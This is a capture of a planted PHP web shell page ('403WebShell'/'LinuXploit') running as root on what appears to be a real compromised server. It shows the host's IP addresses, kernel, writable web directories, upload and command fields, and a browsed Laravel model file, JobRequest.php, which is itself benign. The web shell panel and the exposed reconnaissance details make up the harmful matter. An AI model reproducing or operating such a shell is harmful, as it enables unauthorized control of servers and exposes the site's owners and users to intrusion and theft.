Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Models/JobRequest.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class JobRequest extends Model
{
    use HasFactory;

    protected $fillable = [
        'job_id',
        'user_id',
        'status',
        'note',
    ];

    protected $hidden = [
        'updated_at',
    ];

    public function user()
    {
        return $this->hasOne(User::class, 'id', 'user_id');
    }

    public function job()
    {
        return $this->hasOne(PostJobs::class, 'job_id', 'id');
    }

    public const PerPageRecord = "10";

    public static function GetInterestedUsers($request, $jobId)
    {
        $keyword   = getValue($request->input('keyword'));
        $offset    = (int) getValue($request->input('offset'), 0);
        $sort_by   = getValue($request->input('sort_by'), 'created_at');
        $order_by  = getValue($request->input('order_by'), 'DESC');

        $query = self::with(['user', 'user.operatorInfo'])
            ->where('job_id', $jobId)
            ->orderBy($sort_by, $order_by);

        $totalRequests = $query->count();

        $requests = $query->offset($offset * self::PerPageRecord)
            ->limit(self::PerPageRecord)
            ->get();

        return [
            'count'        => $totalRequests,
            'list'         => $requests,
            'next_offset'  => (count($requests) === self::PerPageRecord) ? $offset + 1 : -1,
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit